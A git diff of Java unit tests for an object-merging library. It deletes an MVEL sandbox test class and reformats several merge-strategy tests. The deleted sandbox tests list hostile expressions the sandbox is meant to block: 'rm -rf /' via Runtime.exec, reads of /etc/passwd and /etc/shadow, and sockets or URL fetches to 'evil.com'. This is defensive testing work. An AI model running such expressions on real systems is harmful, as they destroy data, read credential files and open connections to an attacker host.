-import org.junit.jupiter.api.Nested; -import org.junit.jupiter.api.Test; - -@DisplayName("MVEL Sandbox Security Tests") -class MvelSandboxTest { - - private final MvelMergeStrategy strategy = new MvelMergeStrategy(); - - private List> dummySources() { - return Arrays.asList(new LabeledSource<>("a", 10), new LabeledSource<>("b", 20)); - } - - private void assertExpressionIsBlocked(String expression) { - MvelFieldDefinition fieldDef = MvelFieldDefinition.builder().expression(expression).build(); - - SecurityException thrown = - assertThrows( - SecurityException.class, - () -> strategy.merge(dummySources(), fieldDef, "sandboxTest"), - "Expression should have been blocked by sandbox: " + expression); - - assertTrue( - thrown.getMessage().contains("sandbox"), - "Exception message should mention sandbox: " + thrown.getMessage()); - } - - @Nested - @DisplayName("Legitimate expressions") - class LegitimateExpressionsAreAllowed { - - @Test - @DisplayName("Simple arithmetic should be allowed") - void arithmeticAllowed() { - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder().expression("sources['a'] + sources['b']").build(); - Object result = strategy.merge(dummySources(), fieldDef, "test"); - assertEquals(30, result); - } - - @Test - @DisplayName("String concatenation should be allowed") - void stringConcatenationAllowed() { - List> sources = - Arrays.asList( - new LabeledSource<>("first", "Hello"), new LabeledSource<>("second", " World")); - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder().expression("sources['first'] + sources['second']").build(); - Object result = strategy.merge(sources, fieldDef, "test"); - assertEquals("Hello World", result); - } - - @Test - @DisplayName("Ternary/conditional expressions should be allowed") - void ternaryExpressionAllowed() { - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder() - .expression("sources['a'] > 5 ? sources['a'] : sources['b']") - .build(); - Object result = strategy.merge(dummySources(), fieldDef, "test"); - assertEquals(10, result); - } - - @Test - @DisplayName("Null checks should be allowed") - void nullCheckAllowed() { - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder() - .expression("sources['a'] != null ? sources['a'] : 0") - .build(); - Object result = strategy.merge(dummySources(), fieldDef, "test"); - assertEquals(10, result); - } - } - - @Nested - @DisplayName("Runtime/Process execution must be blocked") - class RuntimeExecutionIsBlocked { - - @Test - @DisplayName("Runtime.getRuntime().exec() should be blocked") - void blocksRuntimeExec() { - assertExpressionIsBlocked("Runtime.getRuntime().exec('rm -rf /')"); - } - - @Test - @DisplayName("Runtime with variable assignment should be blocked") - void blocksRuntimeViaVariable() { - assertExpressionIsBlocked("r = Runtime.getRuntime(); r.exec('ls')"); - } - - @Test - @DisplayName("ProcessBuilder should be blocked") - void blocksProcessBuilder() { - assertExpressionIsBlocked("new ProcessBuilder('ls').start()"); - } - - @Test - @DisplayName("java.lang.Runtime fully qualified should be blocked") - void blocksFullyQualifiedRuntime() { - assertExpressionIsBlocked("java.lang.Runtime.getRuntime().exec('whoami')"); - } - } - - @Nested - @DisplayName("System access must be blocked") - class SystemAccessIsBlocked { - - @Test - @DisplayName("System.exit() should be blocked") - void blocksSystemExit() { - assertExpressionIsBlocked("System.exit(0)"); - } - - @Test - @DisplayName("System.getenv() should be blocked") - void blocksSystemGetenv() { - assertExpressionIsBlocked("System.getenv('PATH')"); - } - - @Test - @DisplayName("System.getProperty() should be blocked") - void blocksSystemGetProperty() { - assertExpressionIsBlocked("System.getProperty('user.home')"); - } - - @Test - @DisplayName("System.setProperty() should be blocked") - void blocksSystemSetProperty() { - assertExpressionIsBlocked("System.setProperty('foo', 'bar')"); - } - } - - @Nested - @DisplayName("Reflection access must be blocked") - class ReflectionAccessIsBlocked { - - @Test - @DisplayName(".getClass().forName() chain should be blocked") - void blocksGetClassForNameChain() { - assertExpressionIsBlocked("''.getClass().forName('java.lang.Runtime')"); - } - - @Test - @DisplayName("Class.forName() should be blocked") - void blocksClassForName() { - assertExpressionIsBlocked("Class.forName('java.lang.Runtime')"); - } - - @Test - @DisplayName(".getClass() on context objects should be blocked") - void blocksGetClassOnContextObjects() { - assertExpressionIsBlocked("sources.getClass().getMethods()"); - } - - @Test - @DisplayName(".class accessor should be blocked") - void blocksClassAccessor() { - assertExpressionIsBlocked("String.class.getMethods()"); - } - } - - @Nested - @DisplayName("File system access must be blocked") - class FileSystemAccessIsBlocked { - - @Test - @DisplayName("new File() should be blocked") - void blocksNewFile() { - assertExpressionIsBlocked("new File('/etc/passwd')"); - } - - @Test - @DisplayName("new FileReader() should be blocked") - void blocksNewFileReader() { - assertExpressionIsBlocked("new FileReader('/etc/passwd')"); - } - - @Test - @DisplayName("new FileWriter() should be blocked") - void blocksNewFileWriter() { - assertExpressionIsBlocked("new FileWriter('/tmp/evil.txt')"); - } - - @Test - @DisplayName("new FileInputStream() should be blocked") - void blocksNewFileInputStream() { - assertExpressionIsBlocked("new FileInputStream('/etc/shadow')"); - } - - @Test - @DisplayName("java.io qualified access should be blocked") - void blocksJavaIoAccess() { - assertExpressionIsBlocked("new java.io.File('/etc/passwd').exists()"); - } - - @Test - @DisplayName("java.nio access should be blocked") - void blocksJavaNioAccess() { - assertExpressionIsBlocked( - "java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd'))"); - } - } - - @Nested - @DisplayName("Network access must be blocked") - class NetworkAccessIsBlocked { - - @Test - @DisplayName("new Socket() should be blocked") - void blocksNewSocket() { - assertExpressionIsBlocked("new Socket('evil.com', 4444)"); - } - - @Test - @DisplayName("new URL() should be blocked") - void blocksNewUrl() { - assertExpressionIsBlocked("new URL('http://evil.com').openStream()"); - } - - @Test - @DisplayName("java.net qualified access should be blocked") - void blocksJavaNetAccess() { - assertExpressionIsBlocked("new java.net.Socket('evil.com', 4444)"); - } - } - - @Nested - @DisplayName("Thread manipulation must be blocked") - class ThreadManipulationIsBlocked { - - @Test - @DisplayName("Thread creation should be blocked") - void blocksNewThread() { - assertExpressionIsBlocked("new Thread().start()"); - } - - @Test - @DisplayName("Thread.currentThread() should be blocked") - void blocksCurrentThread() { - assertExpressionIsBlocked("Thread.currentThread().interrupt()"); - } - } - - @Nested - @DisplayName("Arbitrary object creation must be blocked") - class ArbitraryObjectCreationIsBlocked { - - @Test - @DisplayName("new ProcessBuilder should be blocked") - void blocksNewProcessBuilder() { - assertExpressionIsBlocked("new ProcessBuilder(['ls', '-la']).start()"); - } - - @Test - @DisplayName("ScriptEngine creation should be blocked") - void blocksScriptEngineCreation() { - assertExpressionIsBlocked("new javax.script.ScriptEngineManager().getEngineByName('js')"); - } - } - - @Nested - @DisplayName("Direct expression validation") - class DirectExpressionValidation { - - @Test - @DisplayName("null expression should pass validation") - void nullExpressionPassesValidation() { - assertDoesNotThrow(() -> MvelSandbox.validateExpression(null)); - } - - @Test - @DisplayName("empty expression should pass validation") - void emptyExpressionPassesValidation() { - assertDoesNotThrow(() -> MvelSandbox.validateExpression("")); - } - - @Test - @DisplayName("safe expression should pass validation") - void safeExpressionPassesValidation() { - assertDoesNotThrow(() -> MvelSandbox.validateExpression("sources['a'] + sources['b']")); - } - - @Test - @DisplayName("Runtime reference should fail validation") - void runtimeReferenceFailsValidation() { - assertThrows( - SecurityException.class, () -> MvelSandbox.validateExpression("Runtime.getRuntime()")); - } - - @Test - @DisplayName("newInstance() call should fail validation") - void newInstanceCallFailsValidation() { - assertThrows( - SecurityException.class, () -> MvelSandbox.validateExpression("something.newInstance()")); - } - - @Test - @DisplayName("forName() call should fail validation") - void forNameCallFailsValidation() { - assertThrows( - SecurityException.class, - () -> MvelSandbox.validateExpression("something.forName('java.lang.Runtime')")); - } - } -} diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/priority/PriorityMergeStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/priority/PriorityMergeStrategyTest.java index 7c66270..fde0fbd 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/priority/PriorityMergeStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/priority/PriorityMergeStrategyTest.java @@ -22,180 +22,182 @@ @DisplayName("PriorityMergeStrategy Tests") class PriorityMergeStrategyTest { - private PriorityMergeStrategy strategy; - private PriorityFieldDefinition fieldDef; - - @BeforeEach - void setUp() { - strategy = new PriorityMergeStrategy(); - fieldDef = mock(PriorityFieldDefinition.class); - } - - @Test - @DisplayName("Should return value from source with lowest priority number") - void testMergeWithPriority() { - // Arrange - String fieldName = "email"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - Map priority = new HashMap<>(); - priority.put("source1", 3); - priority.put("source2", 1); - priority.put("source3", 2); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getPriority()).thenReturn(priority); - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("crm@example.com"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn("db@example.com"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("api@example.com"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("db@example.com", result); // source2 has priority 1 (lowest) + private PriorityMergeStrategy strategy; + private PriorityFieldDefinition fieldDef; + + @BeforeEach + void setUp() { + strategy = new PriorityMergeStrategy(); + fieldDef = mock(PriorityFieldDefinition.class); + } + + @Test + @DisplayName("Should return value from source with lowest priority number") + void testMergeWithPriority() { + // Arrange + String fieldName = "email"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + Map priority = new HashMap<>(); + priority.put("source1", 3); + priority.put("source2", 1); + priority.put("source3", 2); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getPriority()).thenReturn(priority); + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("crm@example.com"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn("db@example.com"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("api@example.com"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals("db@example.com", result); // source2 has priority 1 (lowest) + } + } + + @Test + @DisplayName("Should skip sources with null values when priority is set") + void testMergeWithPrioritySkipsNullValues() { + // Arrange + String fieldName = "phone"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + Map priority = new HashMap<>(); + priority.put("source1", 1); + priority.put("source2", 2); + priority.put("source3", 3); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getPriority()).thenReturn(priority); + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn("123-456"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("789-000"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals( + "123-456", result); // source2 is used (source1 is null, source2 has priority) + } } - } - - @Test - @DisplayName("Should skip sources with null values when priority is set") - void testMergeWithPrioritySkipsNullValues() { - // Arrange - String fieldName = "phone"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - Map priority = new HashMap<>(); - priority.put("source1", 1); - priority.put("source2", 2); - priority.put("source3", 3); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getPriority()).thenReturn(priority); - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn("123-456"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("789-000"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("123-456", result); // source2 is used (source1 is null, source2 has priority) + + @Test + @DisplayName("Should return default value when all sources have null values") + void testMergeReturnsDefaultValueWhenAllNull() { + // Arrange + String fieldName = "age"; + Object source1 = new Object(); + Object source2 = new Object(); + + Map priority = new HashMap<>(); + priority.put("source1", 1); + priority.put("source2", 2); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2)); + + Integer defaultValue = 0; + when(fieldDef.getPriority()).thenReturn(priority); + when(fieldDef.getDefaultValue()).thenReturn(defaultValue); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(null); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(0, result); + } } - } - - @Test - @DisplayName("Should return default value when all sources have null values") - void testMergeReturnsDefaultValueWhenAllNull() { - // Arrange - String fieldName = "age"; - Object source1 = new Object(); - Object source2 = new Object(); - - Map priority = new HashMap<>(); - priority.put("source1", 1); - priority.put("source2", 2); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), new LabeledSource<>("source2", source2)); - - Integer defaultValue = 0; - when(fieldDef.getPriority()).thenReturn(priority); - when(fieldDef.getDefaultValue()).thenReturn(defaultValue); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(null); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(0, result); + + @Test + @DisplayName("Should handle unknown source labels with MAX_VALUE priority") + void testMergeWithUnknownSourceLabel() { + // Arrange + String fieldName = "status"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + Map priority = new HashMap<>(); + priority.put("source1", 1); + // source2 and source3 are not in the priority map + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getPriority()).thenReturn(priority); + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("active"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn("inactive"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("pending"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals("active", result); // source1 has priority 1 (other sources get MAX_VALUE) + } } - } - - @Test - @DisplayName("Should handle unknown source labels with MAX_VALUE priority") - void testMergeWithUnknownSourceLabel() { - // Arrange - String fieldName = "status"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - Map priority = new HashMap<>(); - priority.put("source1", 1); - // source2 and source3 are not in the priority map - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getPriority()).thenReturn(priority); - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("active"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn("inactive"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("pending"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("active", result); // source1 has priority 1 (other sources get MAX_VALUE) + + @Test + @DisplayName("Should implement MergeStrategy interface correctly") + void testMergeStrategyInterface() { + // Arrange & Act & Assert + assertTrue(strategy instanceof MergeStrategy); } - } - - @Test - @DisplayName("Should implement MergeStrategy interface correctly") - void testMergeStrategyInterface() { - // Arrange & Act & Assert - assertTrue(strategy instanceof MergeStrategy); - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/standard/StandardMergeStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/standard/StandardMergeStrategyTest.java index 02e9840..fdddb64 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/standard/StandardMergeStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/standard/StandardMergeStrategyTest.java @@ -19,63 +19,63 @@ @DisplayName("StandardMergeStrategy Tests") class StandardMergeStrategyTest { - private StandardMergeStrategy strategy; - private FieldDefinition fieldDef; + private StandardMergeStrategy strategy; + private FieldDefinition fieldDef; - @BeforeEach - void setUp() { - strategy = new StandardMergeStrategy(); - fieldDef = mock(FieldDefinition.class); - } + @BeforeEach + void setUp() { + strategy = new StandardMergeStrategy(); + fieldDef = mock(FieldDefinition.class); + } - @Test - @DisplayName("Should return first non-null value") - void testMergeFirstNonNull() { - String fieldName = "name"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); + @Test + @DisplayName("Should return first non-null value") + void testMergeFirstNonNull() { + String fieldName = "name"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); - when(fieldDef.getDefaultValue()).thenReturn(null); + when(fieldDef.getDefaultValue()).thenReturn(null); - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn("John"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("Jane"); + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn("John"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("Jane"); - Object result = strategy.merge(sources, fieldDef, fieldName); + Object result = strategy.merge(sources, fieldDef, fieldName); - assertEquals("John", result); + assertEquals("John", result); + } } - } - @Test - @DisplayName("Should return default value when all are null") - void testMergeAllNull() { - String fieldName = "age"; - Object source1 = new Object(); - List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); + @Test + @DisplayName("Should return default value when all are null") + void testMergeAllNull() { + String fieldName = "age"; + Object source1 = new Object(); + List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); - when(fieldDef.getDefaultValue()).thenReturn(0); + when(fieldDef.getDefaultValue()).thenReturn(0); - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - Object result = strategy.merge(sources, fieldDef, fieldName); - assertEquals(0, result); + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + Object result = strategy.merge(sources, fieldDef, fieldName); + assertEquals(0, result); + } } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/sum/SumValueStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/sum/SumValueStrategyTest.java index 4a6ab01..70b217e 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/sum/SumValueStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/sum/SumValueStrategyTest.java @@ -11,137 +11,137 @@ class SumValueStrategyTest { - private final SumValueStrategy strategy = new SumValueStrategy(); + private final SumValueStrategy strategy = new SumValueStrategy(); - static class SalesData { + static class SalesData { - public int totalSales; - public String source; + public int totalSales; + public String source; - SalesData(int totalSales, String source) { - this.totalSales = totalSales; - this.source = source; + SalesData(int totalSales, String source) { + this.totalSales = totalSales; + this.source = source; + } } - } - static class TestData { - public Number value; + static class TestData { + public Number value; - TestData(Number value) { - this.value = value; + TestData(Number value) { + this.value = value; + } + } + + @Test + @DisplayName("Should instantiate strategy") + void testInstantiation() { + assertNotNull(strategy); + } + + @Test + @DisplayName("Should sum four sources correctly") + void testSumFourSources() { + SalesData amazon = new SalesData(1500, "amazon"); + SalesData shopify = new SalesData(2300, "shopify"); + SalesData ebay = new SalesData(800, "ebay"); + SalesData woocommerce = new SalesData(1200, "woocommerce"); + + List> sources = + List.of( + new LabeledSource<>("amazon", amazon), + new LabeledSource<>("shopify", shopify), + new LabeledSource<>("ebay", ebay), + new LabeledSource<>("woocommerce", woocommerce)); + + Object result = strategy.merge(sources, null, "totalSales"); + assertNotNull(result); + assertEquals(5800, ((Number) result).intValue()); + } + + @Test + @DisplayName("Should handle mixed numeric types") + void testSumMixedTypes() { + List> sources = + List.of( + new LabeledSource<>("s1", new TestData(100)), // Integer + new LabeledSource<>("s2", new TestData(200.5)), // Double + new LabeledSource<>("s3", new TestData(150L)), // Long + new LabeledSource<>("s4", new TestData(50.0f))); // Float + + Object result = strategy.merge(sources, null, "value"); + assertNotNull(result); + // 100 + 200.5 + 150 + 50.0 = 500.5 + assertEquals(500.5, ((Number) result).doubleValue(), 0.001); + } + + @Test + @DisplayName("Should handle null values in sources") + void testSumWithNullValues() { + List> sources = + List.of( + new LabeledSource<>("s1", new TestData(1000)), + new LabeledSource<>("s2", new TestData(null)), + new LabeledSource<>("s3", new TestData(2000)), + new LabeledSource<>("s4", new TestData(500))); + + Object result = strategy.merge(sources, null, "value"); + assertNotNull(result); + assertEquals(3500, ((Number) result).intValue()); + } + + @Test + @DisplayName("Should handle single source") + void testSumSingleSource() { + SalesData data = new SalesData(1000, "amazon"); + + List> sources = + List.of( + new LabeledSource<>("amazon", data), + new LabeledSource<>("shopify", new SalesData(0, "shopify")), + new LabeledSource<>("ebay", new SalesData(0, "ebay")), + new LabeledSource<>("woocommerce", new SalesData(0, "woocommerce"))); + + Object result = strategy.merge(sources, null, "totalSales"); + assertNotNull(result); + assertEquals(1000, ((Number) result).intValue()); + } + + @Test + @DisplayName("Should return zero for empty or no values") + void testSumEmpty() { + List> sources = + List.of( + new LabeledSource<>("s1", new TestData(null)), + new LabeledSource<>("s2", new TestData(null))); + + Object result = strategy.merge(sources, null, "value"); + assertNotNull(result); + assertEquals(0, ((Number) result).intValue()); + } + + @Test + @DisplayName("Should sum all four sources with passed definition") + void testSumWithMergeDefinition() { + SalesData amazon = new SalesData(1500, "amazon"); + SalesData shopify = new SalesData(2300, "shopify"); + SalesData ebay = new SalesData(800, "ebay"); + SalesData woocommerce = new SalesData(1200, "woocommerce"); + + List> sources = + List.of( + new LabeledSource<>("amazon", amazon), + new LabeledSource<>("shopify", shopify), + new LabeledSource<>("ebay", ebay), + new LabeledSource<>("woocommerce", woocommerce)); + + // Create a compatible FieldDefinition + StandardFieldDefinition def = + StandardFieldDefinition.builder().strategy("sum").build(); + + Object result = strategy.merge(sources, def, "totalSales"); + assertNotNull(result); + + int sum = ((Number) result).intValue(); + assertEquals(5800, sum); } - } - - @Test - @DisplayName("Should instantiate strategy") - void testInstantiation() { - assertNotNull(strategy); - } - - @Test - @DisplayName("Should sum four sources correctly") - void testSumFourSources() { - SalesData amazon = new SalesData(1500, "amazon"); - SalesData shopify = new SalesData(2300, "shopify"); - SalesData ebay = new SalesData(800, "ebay"); - SalesData woocommerce = new SalesData(1200, "woocommerce"); - - List> sources = - List.of( - new LabeledSource<>("amazon", amazon), - new LabeledSource<>("shopify", shopify), - new LabeledSource<>("ebay", ebay), - new LabeledSource<>("woocommerce", woocommerce)); - - Object result = strategy.merge(sources, null, "totalSales"); - assertNotNull(result); - assertEquals(5800, ((Number) result).intValue()); - } - - @Test - @DisplayName("Should handle mixed numeric types") - void testSumMixedTypes() { - List> sources = - List.of( - new LabeledSource<>("s1", new TestData(100)), // Integer - new LabeledSource<>("s2", new TestData(200.5)), // Double - new LabeledSource<>("s3", new TestData(150L)), // Long - new LabeledSource<>("s4", new TestData(50.0f))); // Float - - Object result = strategy.merge(sources, null, "value"); - assertNotNull(result); - // 100 + 200.5 + 150 + 50.0 = 500.5 - assertEquals(500.5, ((Number) result).doubleValue(), 0.001); - } - - @Test - @DisplayName("Should handle null values in sources") - void testSumWithNullValues() { - List> sources = - List.of( - new LabeledSource<>("s1", new TestData(1000)), - new LabeledSource<>("s2", new TestData(null)), - new LabeledSource<>("s3", new TestData(2000)), - new LabeledSource<>("s4", new TestData(500))); - - Object result = strategy.merge(sources, null, "value"); - assertNotNull(result); - assertEquals(3500, ((Number) result).intValue()); - } - - @Test - @DisplayName("Should handle single source") - void testSumSingleSource() { - SalesData data = new SalesData(1000, "amazon"); - - List> sources = - List.of( - new LabeledSource<>("amazon", data), - new LabeledSource<>("shopify", new SalesData(0, "shopify")), - new LabeledSource<>("ebay", new SalesData(0, "ebay")), - new LabeledSource<>("woocommerce", new SalesData(0, "woocommerce"))); - - Object result = strategy.merge(sources, null, "totalSales"); - assertNotNull(result); - assertEquals(1000, ((Number) result).intValue()); - } - - @Test - @DisplayName("Should return zero for empty or no values") - void testSumEmpty() { - List> sources = - List.of( - new LabeledSource<>("s1", new TestData(null)), - new LabeledSource<>("s2", new TestData(null))); - - Object result = strategy.merge(sources, null, "value"); - assertNotNull(result); - assertEquals(0, ((Number) result).intValue()); - } - - @Test - @DisplayName("Should sum all four sources with passed definition") - void testSumWithMergeDefinition() { - SalesData amazon = new SalesData(1500, "amazon"); - SalesData shopify = new SalesData(2300, "shopify"); - SalesData ebay = new SalesData(800, "ebay"); - SalesData woocommerce = new SalesData(1200, "woocommerce"); - - List> sources = - List.of( - new LabeledSource<>("amazon", amazon), - new LabeledSource<>("shopify", shopify), - new LabeledSource<>("ebay", ebay), - new LabeledSource<>("woocommerce", woocommerce)); - - // Create a compatible FieldDefinition - StandardFieldDefinition def = - StandardFieldDefinition.builder().strategy("sum").build(); - - Object result = strategy.merge(sources, def, "totalSales"); - assertNotNull(result); - - int sum = ((Number) result).intValue(); - assertEquals(5800, sum); - } } diff --git a/objectmerger/src/test/java/de/x132/person/MapPersonMergeTest.java b/objectmerger/src/test/java/de/x132/person/MapPersonMergeTest.java deleted file mode 100644 index 963135e..0000000 --- a/objectmerger/src/test/java/de/x132/person/MapPersonMergeTest.java +++ /dev/null @@ -1,49 +0,0 @@ -package de.x132.person; - -import static org.junit.jupiter.api.Assertions.assertEquals; - -import com.google.gson.Gson; -import de.x132.objectmerger.LabeledSource; -import de.x132.objectmerger.MergeDefinition; -import de.x132.objectmerger.ObjectMerger; -import de.x132.testutil.TestGsonHelper; -import java.io.FileReader; -import java.util.Map; -import org.junit.jupiter.api.DisplayName; -import org.junit.jupiter.api.Test; - -class MapPersonMergeTest { - - private static final Gson gson = TestGsonHelper.createGson(); - - @Test - @DisplayName("Should merge person data using MVEL rules identically to standard rules") - void testMergePersonDataWithMvel() throws Exception { - Map analyticsPerson = - gson.fromJson(new FileReader("src/test/resources/person/analytics-person.json"), Map.class); - Map crmPerson = - gson.fromJson(new FileReader("src/test/resources/person/crm-person.json"), Map.class); - Map dbPerson = - gson.fromJson(new FileReader("src/test/resources/person/db-person.json"), Map.class); - - // Load the MVEL definition instead of the standard one - MergeDefinition mergeDefinition = - gson.fromJson( - new FileReader("src/test/resources/person/person-merge-definition-mvel.json"), - MergeDefinition.class); - - // Perform the merge - Map mergedPerson = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("analytics", analyticsPerson), - new LabeledSource<>("crm", crmPerson), - new LabeledSource<>("database", dbPerson)); - - // Assert results match the expected output from MultiSourceMergeTest - assertEquals("Max Müller", mergedPerson.get("name")); - assertEquals(35, ((Number) mergedPerson.get("age")).intValue()); - assertEquals("max@example.com", mergedPerson.get("email")); - assertEquals("030-654321", mergedPerson.get("phone")); - } -} diff --git a/objectmerger/src/test/java/de/x132/person/MultiSourceMergeTest.java b/objectmerger/src/test/java/de/x132/person/MultiSourceMergeTest.java index b23fde6..af56814 100644 --- a/objectmerger/src/test/java/de/x132/person/MultiSourceMergeTest.java +++ b/objectmerger/src/test/java/de/x132/person/MultiSourceMergeTest.java @@ -12,33 +12,36 @@ public class MultiSourceMergeTest { - private static final Gson gson = TestGsonHelper.createGson(); + private static final Gson gson = TestGsonHelper.createGson(); - @Test - void testMergePersonData() throws Exception { - Person analyticsPerson = - gson.fromJson( - new FileReader("src/test/resources/person/analytics-person.json"), Person.class); - Person crmPerson = - gson.fromJson(new FileReader("src/test/resources/person/crm-person.json"), Person.class); - Person dbPerson = - gson.fromJson(new 